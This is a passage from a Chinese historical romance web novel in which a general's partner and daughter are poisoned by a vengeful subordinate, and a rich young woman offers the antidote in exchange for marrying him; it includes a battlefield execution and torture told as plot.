这位小姐既然知道阿致和希君的存在,那必然是调查过他。这也说明他手下有人透露风声给这为富家小姐。他绝对不会允许有人在他的眼皮子底下搞小动作,进而威胁拿捏他。
“我知道你不会轻易答应,你听我说完,便知道我有几分诚意。”武娅禾得意地看着她,“下个月你们便要出征,可是最后一批粮草未到。而你只要娶我,我父亲便愿意补上其中所缺。”
陆昀峥垂着眼,问她:“你从何得知此事?”
武娅禾看着他的脸,被他的怒气吓到,这才意识到自己露了马脚,赶紧解释道:“根本不需要别人告知我,我自己有脑子,只要观察官道上来回的运送数量,便可以推算出来。再则,我熟读兵书,这种小事,手到擒来。”
瞧她那骄傲劲儿,陆昀峥意味深长地道:“你头上两个哥哥都不及你聪明吧。”
“你怎么知道?”武娅禾一脸惊讶,杏眼圆睁,随即满眼佩服地看着陆昀峥,“我确实比他们聪明许多。”
“所以你爹将你宠成这般。”
武娅禾听说了,这不是好话,她歪头看着陆昀峥:“我喜欢你,但不喜欢你这样无理。”
“我不喜欢你,也不喜欢你的无理。”陆昀峥看着眼前矮小的姑娘,她气得要跳脚了。他又冷酷无情地加一句,“还有,你读了兵书也没用,你推算的都错了。再则,军营里的事,与你无关,别再自作聪明。”
陆昀峥正要请人离开,外头副官过来,告知他有人在闹事。起因是有人上午没有出操,还翻了别人的东西占为己有。被占东西的小兵气不过,便威胁说要举报他,按照军法,无故不出操多达五次就该砍头。占东西的那流氓便说,你去举报呀,你看谁敢管我,看谁敢砍我的头。这话一出,周围人都沉默了,因为那流氓是肃亲王姨母的侄子。那被占东西的小兵气疯了,便告到副官这里来。副官刚躺着午休,突然接到这烫手山芋,直接来找陆昀峥。
陆昀峥嘴角翘起,立刻去处理此事,顺便让副官将这武三小姐赶走,查出是谁带她进来幕府的,按军法处置。
·
茱漾瑟瑟发抖:“小姐,我们走吧。”
“走什么?有机会见识此等场面,就该好好把握机会。”武娅禾甩开茱漾的手指。
38. 第 38 章
隔着长长的练兵场、满满的士兵队伍,茱漾不敢看远处的演武台。
一个瘦瘦高高的人影走上演武台,步伐轻浮,吊儿郎当的,下面的士兵,有些哈哈大笑,有的交头接耳。随即一阵刺耳的鸣锣响起,练兵场上安静了些,纷纷抬头看向演武台,演武台上一个高大的将军模样的人大声说着什么。
茱漾吓得小心脏一紧一紧的,她只记得最后两个字:“当斩”。
说完这句话,下头的士兵又安静了些,随即爆发出一阵巨大的混乱,纷纷小声谈论着,似乎不相信真的会按照军法处置一个人。
茱漾转头看向演武台,她也想知道结果。她刚一转头,只见演武台上那个高大的人影抽出长刀,利落地砍掉了瘦高人影的头颅,先是头颅咕噜噜掉下来,随即脖颈上的血液喷射出来,最后是那截身子轰然倒塌。
因为四下鸦雀无声,身子倒地的声音格外沉重、清晰。茱漾捏紧拳头赶紧转身,却看到她家小姐心满意足的笑容,望着远处的演武台。
见怪不怪了。茱漾伸手将小姐拉走,劝她道:“这陆侯爷实在太过鲁莽,我们还是少招惹罢。”
“这怎么能是鲁莽?茱漾,这就是你的没知识了吧。自古以来的兵书都说了,在出征之前,将军都必须要利用这种不听话的来杀鸡儆猴、立威。还有,你以为这个猴是随便挑的吗?挑的就是有背景的硬茬子,才有杀鸡儆猴的威慑力。”武娅禾得意地道,“你看,我挑人的眼光还是准的,他有情有义,还有魄力,配得上我,且只有我能懂他。”
茱漾摇摇头,她家小姐魔怔了,吃了闭门羹还这般开心。
·
陆昀峥回家的路上再次遇到了那武三小姐,她阴魂不散一般,骑马跟在他身边:“我今日给出的提议,平心而论很有诚意了,你考虑得如何?”
陆昀峥不耐烦她的纠缠,便挥鞭打马离开。武娅禾没想到自己再次被拒绝,于是用力打马,想要冲到陆昀峥前面,拦住他。
她的马血统不错,冲起来速度很快,但是前两日的雪被踩得很硬很滑,她一个没控制住,连人带马摔到了路边的湖面上。
湖面上是一层薄冰,根本承受不住马和人的重量。冰块碎得很快,武三小姐和马快速落入冰水之中。马匹冻得惊慌失措,将湖面上的冰块更快地打碎。
武娅禾看着马路上的陆昀峥,惊呼:“救我,救我!”
陆昀峥停在原地,看着她在水里扑腾,又看了看即将黯淡的天色,于是将马匹上的缰绳取下来,脱了外头的大氅,系在缰绳上扔给湖水里的武娅禾。
武娅禾浑身都冻僵了,她颤抖着抓住那大氅的衣角,被陆昀峥拉到岸边。
她嘴唇冻得发白,浑身止不住地抖动。而湖里的那匹马已经冻得浑身抽搐,没了力气,一点点沉没到水面下。
武娅禾顺着缰绳,一点点爬上岸去,回头看到那匹马吐出的最后一个气泡,心中大骇。
陆昀峥抽回手中的缰绳,重新套在马背上。
武娅禾浑身湿漉漉,冻得发抖,仍旧开心地跟在他身后:“我就知道你会来救我。”
丝毫没有闯祸后的愧疚感。
陆昀峥侧身看着她,久久不知道说什么。
武娅禾两眼笑眯眯,开心地从他手中抽过马缰绳:“谢谢你,我回去让父亲重谢。”
陆昀峥看着空空的手心,随即将缰绳抢回来,将马往前拉两步,翻身上马,一气呵成。
武娅禾惊呆在原地,杏眼圆睁:“你打算将我一弱女子扔在这荒郊野岭?”
“往前走一里地,便是横店。”陆昀峥打马离开,他可没有什么多余时间来同她胡闹。现在,他派人去滁县接的于大夫,应当是到了。
武娅禾冻得脸发白,她望着陆昀峥毫不犹豫离开的背影,冷哼一声:“陆昀峥,我就不信这个世上没有能让你就范的诱惑。”
·
晚上,阿致的生意还算不错。今日雪停了,出来的人多了些。
面馆里有两个客官正在吃面,阿致给他们上一壶温酒。希君从早上就病恹恹的,刚才说有些恶心想吐,连雪仗都不玩了,要去被窝里躺着。阿致带她去医馆看了,大夫还是瞧不出啥来。
陆昀峥从外头风风火火地进来,里头一件单衣外头一件夹袄,脸冻得通红。
阿致放下那壶酒,问他:“你今日穿的大氅呢?”
她过去伸手捂住他的脸,实在是冰。
陆昀峥将她拉到后院去。
阿致心说那马匹都没系好,不怕被人顺手牵走了。
“把面馆关了。”陆昀峥开口就是这么一句冷冰冰的话。
阿致还没来得及问他为什么,前头有个客官进来问老板在哪里。
“等会再说。”阿致抬脚去前头。
陆昀峥拉着她的手腕,眼神幽深地看着她。
阿致直觉有什么事:“你怎么了?”
“我找了个大夫,已请到院子里。他擅小儿病症,我先带希君去看看。”
阿致扔了手里的抹布:“好,我立刻关了店铺。”
就这样,面馆早早关门,两口子带着女儿希君坐马车去到陆昀峥的院子。
雪地里非常滑,还带着孩子,陆昀峥不敢让马跑太快。这一路沉默又漫漫。
抵达的时候,已是入夜时分。
邬春荣早在此等候,怀里还揣了两个汤婆子,一见到阿致,便笑盈盈递给她:“夫人。”
阿致结果暖烘烘的汤婆子,塞到女儿希君的小腹上,谢过他。
“去后院将于大夫请来。”陆昀峥吩咐过邬春荣,伸手抱着希君去到前院的房间。
房间里生了暖炉,打扫得干干净净,看来邬春荣是真的细心且上心的一个人。
阿致坐在床边,捏着希君的小手,心中有些忐忑。这一路上陆昀峥沉默不语,总让她觉得不安,似乎有什么大事。
于大夫过来了,出乎阿致预料的是,他很年轻,不超过三十,不过他走路说话都老气横秋的。
阿致给他让出位置来。陆昀峥站到她身边,握住她的指尖,另一手搭在她的肩头。
阿致回握他的手指。
于大夫似乎过于仔细了些,望闻问切。把脉完毕,阿致紧张得脑门上出了些虚汗:“怎样?”
于大夫先是看了眼陆昀峥,这才慢悠悠道:“夫人似乎也有些不适,在下给您也看看如何?”
阿致一心系着女儿,本想拒绝,陆昀峥将她推到了房中的大圆桌边,请于大夫帮忙看看。
看了许久,于大夫也没什么神情变化,只突然睫毛一颤,随即又恢复如常。
完了,于大夫也没说什么,转身和陆昀峥出去。
出去前,他俩交换了眼神,阿致看到了,那种浓重的不安感再次袭来。
陆昀峥将大夫领到后院,关上门,他才开口问怎样了。
他的声音嘶哑。
于大夫很想安慰他不用担
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心,但还是叹了一口气:“小姐和夫人是中了苗疆的一种毒,这种毒我也只见过一次,恐怕……来日无多。”
陆昀峥冷眼看着夜空,他喉头滚动后,伸手摸一把脸,冷静问:“还有多久?”
“如果没有解药,不到半个月便会七窍流血而亡。”于大夫撇开脸,不看陆昀峥面容上的痛苦。
陆昀峥深呼吸一口:“可有其他人会制解药?”
“我有个师姑,她便曾去过苗疆,擅长苗疆药毒,不过……”
“她在哪里?”陆昀峥急迫地打断他。
于大夫嗫嚅着嘴唇:“不过,一是师姑她行踪飘忽不定,我只知道她又去苗疆附近寻人,但不知道她具体在哪里,寻不寻得着是一回事;二是这毒性比较特殊,它的解药配制很难,也很需要花时间,或许来不及。如果能找到下毒的人,拿出解药是最好的。”
“也就是说,根本没有治好的可能。”陆昀峥头疼得闭上眼睛,整个人失了力气一般往后倒,最终是靠在墙壁上。
于大夫挣扎了下:“陆侯爷如果能找到下毒的人,或许有可能。”
“下毒的人,我抓到了。这几日,我命人一天砍他一根手指,砍了三根,他依旧守口如瓶。”
“侯爷能找到他的来路么?若是知道来路,便能知道他的弱点,哄他拿出解药并不难。”
陆昀峥摇头:“完全查不到,只知道他与我有旧仇,为了报复我,才对妻女下死手。”
一时,两人都沉默许久,无可奈何。
一阵风吹来,雪地里的冷气袭人。
于大夫道:“我先开个方子,给夫人小姐固本,争取些时间。”
陆昀峥点头:“劳烦于大夫与我说说您师姑的下落,我派人去寻。”
他绝不能忍受坐以待毙。即使只有一丝希望,他也必须要去试试看。
“尊夫人体内新毒旧毒都有,她身边应该还有下毒的人,侯爷可要小心些。”
“好,多谢于大夫,我会好生盘查。”陆昀峥想过贺忠还有同党,却没想过他能将同党安插在他们身边且毫不自知。
于大夫拦住他:“我不是说这个,算了,你让我把脉看看。”
把完脉,于大夫松了口气:“接下来一段时日,陆侯爷不要与夫人同房。”
陆昀峥看着他,不解。
于大夫压低声音道:“这种毒特殊在初期时,可通过男女同房传给另一人。下毒的人很清楚不能接近您,便从夫人下手。”
“沙——”
突然,矮墙外传来声音。
于大夫望了一眼矮墙外,告辞去配药熬药。
陆昀峥则走到那矮墙边,从里面打开院门:“你怎么来了?”
“有什么话不能当我的面说?”阿致抬头,死盯着他,“到底怎么回事?”
他从不关后院的门,方才和大夫说话竟躲到这里,还要关上门,防的是谁?是她。
“没怎么回事。”陆昀峥道,“你也累了,和希君喝了药早点去休息。”
阿致知道,他是个死犟的人,怎么套话都是没用的。可惜方才她来得晚了,离得有远,只听到于大夫嘱咐他不要同房,后面的为什么不能同房的原因,她压根听不清。
晚上,躺在床上,阿致主动伸手探入他的胸口。这两日她咳嗽得严重,两人没怎么同房过。
陆昀峥伸手,拿住她混账的手指。
阿致气不过,抬起头去咬他的脖子。
39. 第 39 章
陆昀峥被她咬着,许久没有动,随后忍不住喉结动了动,低头亲了她的额头,张开怀抱将她抱着,死死地抱着。
他这样明明就是有事!
阿致小声问他:“你不说是不是?”
陆昀峥仍旧不说话,抱着怀里温热的躯体。他们还有多少时间?还有多少希望?
他做人做事素来问心无愧,自然也想不通为什么贺忠要置他于死地。
阿致在他怀里挣扎着,扭成一根筋,她轻轻喘气,热气喷灼在他脖颈上:“你放开我,这样我不好睡觉,明日还得早起。”
“面馆的事,你先放一放。”
“为什么要放一放?你都说了我和希君没什么大事。”
知道她在试探,但是陆昀峥还是想不明白该如何告知她真相,只能将她搂得更紧:“你留在家里照顾希君,等我晚上回来。”
阿致知道,她还是没能犟过他,于是软骨鱼一样塌在他怀里,道:“阿峥,我只是想让你明白,我宁愿清清楚楚地面对痛苦的事实,撕心裂肺也没关系,但我不喜欢稀里糊涂过日子。”
陆昀峥抱着她的手一顿,许久嘶哑地道:“嗯。”
·
第二日早晨,陆昀峥很早就去军营。
阿致听到他出门,便起床去到后院问于大夫自己的病情。
于大夫在灶膛边上指挥邬春荣煎药,微笑着让她去问陆侯爷。
阿致威逼利诱都试过了,这于大夫真的是油盐不进:“你作为大夫,与病人说清楚病征是职责所在!”
那于大夫仍旧是把风吹不到的菩萨模样。
阿致没得办法,披上斗篷,骑马出去。她找了个两个大夫帮忙自己把脉,可是这两个大夫都看不出所以然来,只说像是肾阴虚。
阿致回来后,气得脑子都热了,去到三楼吹吹风。
于大夫领着邬春荣站在楼底下,邬春荣手里托盘里端着两碗药,喊她喝药。
阿致看着院子外的街道和一片雪茫茫,十分丧气。
邬春荣哄着道:“夫人,上面风大,您还是下来吧。”
侯爷出门之前叮嘱过,一定要看着夫人小姐喝药。
阿致突然看到院门口一大一小两个熟悉的身影,在雪地里艰难行走,大的佝偻着腰,手上提着一串药包,小的在一旁搀扶着大的。
阿致看了一会儿,转头对下面的于大夫道:“劳烦于大夫帮我个忙,我有个朋友经常生病——”
她记得妙珍姐说过,美娘是得了怪病,所以一直吃药,一直都没什么用,只能稍微减轻些症状,不让人太受罪。院子下面正好有个厉害的大夫,阿致便想让美娘试试,若是能找到病症所在,或许也不失为一桩好事。
“这与我有何关系?”于大夫一甩手,进了楼下自己的客房。
阿致飞快地跑下来,让邬春荣去门口截住美娘,随即去敲于大夫的门窗:“我知道你医术高超,但这世上也一定有你没见过的病症。”
·
美娘被请进前厅来,畏畏缩缩的,将女儿楚楚夹在怀里。
楚楚倒是不怕,打量着四周的桌椅板凳,干干净净的,虽没有什么字画古玩,但能看出是有些家底的。远处的一个凳子上放着个毛绒的老虎娃娃,十分可爱。
阿致一口喝完汤药,便来前厅见美娘。
邬春荣送来热茶给两位,退下去给希君喂药。
见到阿致,楚楚便跟她娘比划着,美娘抓住她的手:“不可以任性。”
“怎么了?”阿致问。
美娘不好意思:“楚楚想要去找希君玩,太不懂事了。”
上次两个小孩子便是在药柜后头玩了许久,有些感情。再则楚楚性格温顺,很能宽容希君的任性,一大一小相处的很是融洽。
阿致笑着让邬春荣带楚楚去看希君。
美娘有些不好意思,阿致和她闲话一会儿:“你怎的一个人离家这么远?”
美娘指了指前院门口的药包,她不敢带到别人厅堂里去:“附近有个老大夫,他给我开的方子吃过后好些了,今日便再去抓一点。”
末了,她又加上一句:“江郎本来是打算与我一道来的,他不放心我,但他今日有事,我才一个人出来的。”
阿致知道她想说什么,笑着点点头,然后让她等一会:“我这里有个大夫,让他给你看看。”
“这……麻烦吗?”美娘惊呆了,她脸涨得通红,“我怎可让致娘你对我这么好。”
“不过是顺手的事。”阿致说着回头,正好后头来了个年轻男子,不到三十的年纪,手中提着一个药箱。
他进来之前,面容上有掩藏不住的不屑。
美娘埋低头,她盯着自己一身单薄的葛衣和脚上破了的草鞋,将脚往裙子下挪,掩藏住自己的局促窘迫。
于大夫好生坐下后,仔细望她的脸和胳膊,随后给她把脉许久,神情十分专注。
阿致则一脸好笑,捧着热水慢慢喝。她原本以为这于大夫是个八风吹不动的大佛,没想到激将法十分好用。
于初禾面露兴奋,放开美娘的手腕,问了她许多生活起居的习惯,并一一记载在他随身的小册子上。
因为激动,他的手指轻微颤抖着:“这位小娘子,你平日胸闷、头痛、浑身乏力,或许都只是因为保宁的环境不适合你。”
“环境?”
“如小娘子方才所说,你来保宁之前,没有任何症状,来保宁之后,才开始有征兆。你这些年有离开保宁?”
美娘仔细想了想:“……没有。”
“那下雪天,你的身体是否反而会好些呢?”
美娘手指抵着自己的唇,眼角余光刚好就扫到那一串的药包:“我这两日确实感觉好多了,以为是之前的大夫药方有效。”
说完,美娘陷入了长久的沉默。
于初禾点头:“那便是了,小娘子你是不适合保宁这样灰尘太重的环境,离了这里,不必吃药,你便会慢慢好起来。”
“不必吃药……我会恢复成正常人吗?”美娘的眼眸里闪出光芒来。
“自然,当然现下你按照这个方子去抓药,也可稍微缓解症状。”于初禾信誓旦旦,他递出那张方子,开心地搓了搓手,“小娘子你这样的案例我只在一本书上看到过,从未碰到过。”
阿致终于明白了他兴奋的原因。
于初禾拿着小册子往后院里去,连药箱都忘了拿。
美娘还沉浸在惊喜之中,阿致过去恭喜她:“如果你和江郎换一个地方生活,所有的问题都能迎刃而解。”
不管怎么说,江郎为了美娘承受了多年的生活压迫,是有情有义的,至少美娘是这样想的。现在寻到了病因,对于他们两人来说,或许是改变的契机。
阿致突然有点庆幸,她听从陆昀峥的话,没有告知美娘事实。美娘明显还是期待与江郎的生活。
美娘缓缓点头,眉头松弛开来,不过眉心中间还是留了一道竖纹:“致娘,我有个不情之请。”
“你先说。”
“我想往后去你面馆里帮工,学着做面条。如果你不嫌弃,往后离开保宁,我一直跟着你,只要能让我和楚楚糊口就行。”
阿致还没开口,一阵夸张的拍门声响起,来着不善。
·
“所以,你觉得你比我更年轻更漂亮,陆昀峥会喜欢你。”阿致笑看着对面那个幼稚得一塌糊涂的玲珑女子,她扬着下巴看人,一脸嚣张。
武娅禾双手背在背后:“我说
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的难道不是事实?若是陆侯爷真的喜欢你,为何不娶你呢?”
在武娅禾看来,对面这个妇女不过是小有姿色,气质大过容貌,哪能与她十六七的年纪相提并论。
被人突然打上门来,阿致一脸懵,她并不清楚具体情况,甚至不知道陆昀峥究竟做了什么让一个年轻少女误会,但是她也很清楚,她并不想在口舌上落人下风。
阿致反问她:“按你说的,你认为陆昀峥会喜欢你,那他为什么不娶你呢?”
武娅禾被噎了一口,她一甩袖袍:“那都是迟早的事。我能给他带来事业上的帮助,还能哄他开心,你能给他什么好处呢?”
“若是要奉献自己,要委曲求全,还要真金白银才能绑住一个男人,那也只能说明你能拿出的价值实在有限,也实在划不来。”阿致道,“再则,你若真有自信拿住陆昀峥,又何必到我面前来耀武扬威?你来找我,只是因为陆昀峥不吃你那一套。八字还没一撇的事,就不要拿出来说了。”
阿致一个眼风扫过去,武娅禾嘴巴张了又张,最终什么也没说。
阿致笑:“哦,另外,这位小姐,你看起来出身不穷,欠家教的事还是遮遮掩掩的为好。我这里不敢多留你。”
阿致的手掌一翻,指着门外的方向。
武娅禾的脸彻底青了,看来她还是太轻敌,以为这位外室夫人会有自知之明,没想到是个母老虎一样的角色。
·
方才武家三小姐雄赳赳气昂昂来拜访,美娘便跟着邬春荣去到隔壁院子里去找楚楚。
找完楚楚去前厅,可惜前厅在吵架,美娘听了两句便只得退回去,带着楚楚坐在床边,与希君玩耍一会。可怜希君生病几日,肉肉的脸颊都瘦了,躺在床上没精打采的。
楚楚的手瘦瘦长长的,她轻轻拿起希君的小手,给她比划。美娘在一旁解释,是让希君好好吃饭的意思。
希君用力眨巴眼睛,说知道了。她说话也没什么力气。她好想和楚楚姐姐玩耍一会,还想要跟着学习手语,这样就可以和楚楚姐畅快说话啦。
希君用力撑着小小的身体,从被子里爬起来,她扒开自己的枕头,把所有的金叶子都抖落出来,拿出一半来,捧到楚楚姐面前:“你也要好好吃饭,去买糖人吃。”
楚楚不敢要,连忙往外推,美娘也在一旁慌乱道:“陆小姐,这使不得,若是让别人发现,会以为楚楚姐偷的。”
他们这样穷苦的人家,连一身体面衣裳都没有,若说是陆家五岁的小姐赏赐的,没有人会信。
邬春荣站在一旁也说:“是啊,小姐,你还是收起来。”
阿致从外面进来,笑着说:“没事,楚楚你收着吧,趁着这抠门丫头还没反悔。”
楚楚还是不敢要,阿致从希君手里拿过那四片金叶子,放到了楚楚胸口的兜里:“贵重的东西要收好。”
美娘仍旧是慌乱的:“致娘,这怎么可以呢?”
反而楚楚非常的冷静,她微笑着朝着阿致打了个手势,又站在床边弯腰行大礼。
美娘咬着嘴唇:“谢谢致娘你和希君。”
阿致轻拍她的肩膀,要将她送出门去。
美娘嗫嚅着嘴唇,大概是想要说什么,最终还是低头,带着女儿楚楚在雪地里互相扶持着,慢慢走远。
·
晚上,月亮高高挂起,陆昀峥骑马从后门进。
邬春荣给他收好马,连忙小声通报:“今日有个武三小姐来找夫人大闹一场。”
可惜邬春荣没有听特别真切,只知道那武三小姐似乎是看上他家侯爷,来耀武扬威的。
陆昀峥倒是没有特别急,方才在军营里,罗三便与他汇报了家里的事。相比于武娅禾,陆昀峥有更担心的对象。
40. 第 40 章
烛火飘摇着,阿致正坐在床边照顾希君,希君喝了一大碗黑色汤药,便躺下去了。
不得不说,于大夫的手段还是不错的,希君的精神比昨日要好些了,方才还闹着拿书册来背,背了不到两句,她便累了躺被窝里,嘴上念叨着要阿妈抱。
阿致将希君裹在被子里,横抱在怀里哄睡。希君重量如此之轻,让她心惊。
阿致紧紧抱着女儿,看着紧闭的大眼睛长睫毛,紧抿嘴唇。
陆昀峥进房时,气氛冷凝,他解释道:“今日那个武三小姐,我与她没有任何干系。”
阿致抱着希君的手顿了下,她根本不在乎这件事,理都懒得理,转而问:“希君究竟生的什么病,你要什么时候告诉我?”
陆昀峥抬脚走到她身边,伸手轻轻搭在她肩膀上,看着病恹恹的幼女。
阿致看着怀里的小人:“要等到失去她,你才会让我知道真相?还是我死了就不用知道真相了?”
说完,阿致侧头看身边的男人,才二十几的年纪,他的鬓角有了几丝白头发,就像是一夜突然生出来的,在烛火下发出锐利的银光。
陆昀峥伸手轻轻搂住她的脖子,自上而下,将她的头贴在他的胸口。
这些日子他难过得要死,恨不得每日死守着她们母女俩过活,不敢放过任何可以拥抱的须臾,可是他肩上有重担。所以,他只能把这些沮丧、绝望放到一旁,处理好军营里的安排、调度。
晚上一个人骑马在雪地里奔走时,他感觉风要把他的心都掏空了。心口冷冰冰的,毫无知觉。如果再次失去阿致和希君,余生便会如同这个寒冬,一直孤身在雪夜里逡巡吧。
·
“贺忠对我和希君下毒了?”阿致坐在房里的圆桌边,看着面前的烛火,她迟疑了一瞬间,忽而想起来进入保宁的前一日贺忠递过来的那个水壶,也想起了当时贺忠虎口处的黄色粉末,原来她的危机感是真实的。阿致有些恍惚,她抬头看对面的陆昀峥,“为什么?”
他怎么下得去手?怎么能对那么年幼的希君下得去手?
“因为我。”陆昀峥面无表情,隔着烛火看她,“贺忠本意是要杀了我,于是从你入手。他下的毒,可通过你传给我。”
“因为与楼烦的这场仗?”阿致浑身发抖。在上战场之前,想尽办法杀了对方的得力主将,这也是很正常的。
“确实发现了一个楼烦细作,她与贺忠有关联。不过,我推测贺忠与我是私仇,只是还未弄清楚原因。”
贺忠看他时,眼中有熊熊的仇恨,这可不是国仇而是家恨。贺忠希望他去死,或者失去此生挚爱孤独地活着。
阿致的指甲用力抠着掌心,终于冷静下来:“有解药吗?”
“应当是有的,但是贺忠不肯拿出来。”陆昀峥双手放在膝盖上,轻轻捏紧,“所有刑具上了一遍,他仍旧不愿意开口。”
“他的条件是什么?”阿致直直地望着陆昀峥,她的目光就像一支射出的箭。
陆昀峥轻轻笑了,聪明如她,定然不会忘记这个问题。笑容戛然而止,陆昀峥轻舔嘴唇:“他要布防图。”
阿致的目光垂下去。
室内安静无比。
陆昀峥的双手紧紧按在膝盖上,他的脸朝向黑暗的角落:“你要怪就怪我,怪我舍弃你和希君。”
阿致的眼泪涌出来,她侧头看着床上幼小的希君,抹干净脸上的泪水:“算不上舍弃,如果我是你,也会做一样的选择。只是可怜希君那么小……”
阿致再次哽咽。
陆昀峥起身去她身边,将她抱在怀里:“你怪我吧,原本贺忠冲着我来的。”
阿致轻轻摇头,伸手握住他的胳膊:“你该早点告诉我的。”
“对不起。”陆昀峥除了沉重的叹息,什么也做不了,甚至他没有资格安慰她此刻的绝望。
阿致望着床上的女儿,抹去脸上的泪水:“我的意思是,我不想坐以待毙,总还有其他办法。”
陆昀峥把于初禾的话告知她:“除了解药,便只有他的师姑可能救人。可是现在不知道他师姑人在何处,找到人或许也没法及时配制解药。”
“半个月……”阿致喃喃道。这样确实有些难。
“按照现在的方子,每日喝,可以暂时延缓发作时间。”
阿致点头,这样胜算多了些:“但凡有一丝希望,也不应该放弃,我明日一早便带着希君出发。”
既如此,两人便沉默着,准备早点休息。此次分别在即,也不知道是否能寻得解药。若是寻不到解药,或许此次分别便是天人永隔。
晚上,躺在床上时,陆昀峥将希君放在两人中间躺着,看着小小的脸上小小的嘴巴,十分可爱。
两人都将头靠在希君的肩膀上,在黑夜里睁着眼睛,谁也无法入眠。
·
第二日天还没亮,阿致便起床收拾。
她浑身没什么力气,陆昀峥便听她指挥,将一些衣物和随身的物品收拾好。她们这一行必然是车马劳累,轻装上路是最好的,多带些银子便好了。
待得所有东西准备好,两人在凄清的清晨一起吃了顿早饭。早饭冒着热气,驱散了一些些寒冷。
邬春荣在外头道:“夫人,马车准备好了。”
他已经背上了包袱,侯爷安排他一路过去照顾生活起居。
阿致没有拒绝,毕竟她现在身子不太好,能省一点力气就省一点,她还要多花时间想想怎样才能活命,怎样才能救活她的女儿。
陆昀峥起身,准备去送她出门,这时候罗三带着一个军官大步流星奔走过来,眉头紧皱。
陆昀峥只能转身去了后院书房,听军官汇报情况。那军官来是因为军营里出了个大事。
事情的最开始,前两日有个副官出去喝酒,与人起了冲突,被人打了一顿,他气吼吼踏雪回军营的路上摔倒了,冻死在了雪夜里。这副官死了便死了,陆昀峥紧急安排新人顶上去,接手他的事。新人上任首要的便是熟悉原定的边防设施及其维护情况,这些都是从那死去副官的记录中查找。可是查找着查找着,新人便发现了不对劲,有些边防图上被做了奇怪的标记,而且根据一封前言不搭后语的信,可以确定内部的布防图已经被人偷了一份送给了楼烦细作。
城中的细作,比想象的要多,渗透的比想象的要多。
那年轻军官作揖:“将军,此事非同小可,需要您立刻前往处理。”
若是因此导致吃败仗,他们这些人全都要掉脑袋。
“这件事先交给你
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全权处理,我随后便到。”陆昀峥打算先送阿致离开,只是不能如预期那样送她出城。
·
陆昀峥去到后门口,马车已经停在了后街。
邬春荣把希君报到马车里躺着,还放了点煎饼果子和点心在车上。于大夫也穿着厚袄子,背着药箱,连连打哈欠,准备出门。
阿致则披着毛裘,等在后门口。
“军营里有事,我不能送你。”陆昀峥伸手去牵她。
阿致伸手,握住他的手指。两人的手指都不热。
陆昀峥紧紧抱着她:“我会尽快去找你。”
阿致伏在他肩头,轻轻点头。如此便是诀别。
她没有太多的儿女情长,转身上车,让邬春荣赶路。
陆昀峥跟着马车走到院子前头的主路。
此刻,天渐渐地亮了,翻出了鱼肚白,透着一两丝的粉色彩霞。
阿致撩开马车帘子,她看到了这彩霞。这是一个微冷的美丽早晨,寒气慢慢渗入皮肤,让人有轻微的脸皮和面骨分离的麻木感,同时隐隐浮起一丝真实活着的兴奋。
她回头看着陆昀峥,他站在原地。她眼中的泪水涌出来,视野里那个身影渐渐变小、变模糊。
就在这时,一阵急促的“哒哒哒”马匹疾驰的声音传来。
邬春荣连忙带着马车避让到一旁。
没想到对面马匹脚步不停,直直冲到了他们的马车前面,堵住去路。
·
前厅里,阿致仔细查看手中的一张契约,随即放在圆桌中间,坐下:“你的意思是,你有两颗解药可以救我和女儿?”
陆昀峥站在她身边,轻轻按住她的肩头。
阿致伸手轻轻搭在他的手背上,眼睛盯着武三小姐手中提着的红布包袱。
“我有条件,”武娅禾看着那触摸的两只手,她得意道,“陆侯爷与我成婚之后,给你们解药。从此以后,余生你们都不可再相见。”
阿致捏紧了陆昀峥的手,她抿着嘴唇,问:“你确定你的解药有用?”
“那是当然,信不信由你,想不想活下去,也由你自己决定。”武娅禾仍旧是一袭红衣,她将身后的大氅甩开些。
陆昀峥收回手,他也坐下来,看着对面的武三小姐,冷静道:“敢问武三小姐何处得知内子的病情,又是从何获得解药?”
武娅禾一副早有准备的样子,坦然对陆昀峥道:“昨日我来过,看到她耳后有一片紫色斑点,且咳嗽不止。不巧,我年幼时中过五鸩毒,我父亲重金请到苗疆的师傅帮我解毒,还留有两颗解药。这两颗解药可是千金不换的,如果陆侯爷你娶了我,那我便大方赠予,这买卖,陆侯爷你绝不会亏。怎样,还有问题吗?”
她这个回答天衣无缝。
阿致转头看着陆昀峥,她握着他的手,轻轻点头。
陆昀峥则摇头。
阿致垂眼想了想,她对上武三小姐的眼睛:“天下男人多如牛毛,你为何一定要选我丈夫?”
“据我所知,你们并没有成亲。”武娅禾笑着道,“你们到底愿不愿意,直接给句话,很难吗?”
阿致还想要开口,被陆昀峥伸手拦住。他伸手按在阿致的腿上,转头问道:“武三小姐,是否愿意做其他的交易?”
41. 第 41 章
“什么交易?”武娅禾有些不耐烦,她双手抱在胸前。
陆昀峥道:“如果武三小姐愿意将这两颗药赠予,那么本侯可以承诺,往后必然会给予小姐同等贵重的报酬,也就是至少两条命。我陆昀峥说到做到。”
武娅禾笑了,她将手里的红布包裹甩开在红木圆桌上,打开,露出里面的黑色大氅。
这是陆昀峥的,阿致一眼就看出来了。原来他那不见的大氅,落在了武三小姐手里。
陆昀峥立刻解释:“她落入冰河里,我为了救她,才脱下这大氅。”
阿致轻轻点头。
“方才你不是问我为何非要选陆昀峥吗?”武娅禾站着,居高临下对阿致道,“再讨厌的人,在生死关头,他也愿意伸出援手;对其他女人谨守本分,怎么算不得是个好夫君呢?至少在小女子看来,也只有陆侯爷配得上我。”
阿致紧抿着嘴唇,双手握紧,但这理由并不让她意外。她当初选择陆昀峥便是因为他人品好,经过了她层层的筛查考验,再则他们比较幸运地两情相悦。
陆昀峥非常不悦,在他看来,她喜欢那是她的事,但是他不喜欢她。但他很清楚自己在谈判桌上。
情绪化的话说了无益,更何况妻女的两条命还要指望这位武三小姐。
武娅禾侧头,又对陆昀峥道:“抱歉,陆侯爷,我确实很钟意你,但你说的交易我拒绝,因为我根本就没有需要你回馈的时候。你的交易说白了,不过就是要求赊账。你们要赊账……”
武娅禾的眼光在阿致脸上打量,嘴角翘起来:“那我当然也可以不用和你做这场交易。”
说着,武娅禾伸出两指将圆桌上的那一纸契约夹起来。
阿致立刻起身,按住了那张契约:“等等。”
武娅禾看着对方压着契约的五指,得意地放开了两指:“陆侯爷,这张契约,你是签还是不签?”
陆昀峥眯起双眼,紧咬牙关。
阿致收回桌上的手,转而轻轻摇了陆昀峥一下。
陆昀峥转头看着她,轻轻摇头。
武娅禾笑着将契约拿起扔到陆昀峥面前:“陆侯爷,难道两条人命还比不上你的婚姻?我的耐心可是有限的。”
陆昀峥吐出一口怒气,竭力忍耐着道:“我需要和内子商量。”
武娅禾变了脸色:“我的耐心是有限的,我要你签字画押,立刻!马上!”
阿致艰难地开口:“我同意。”
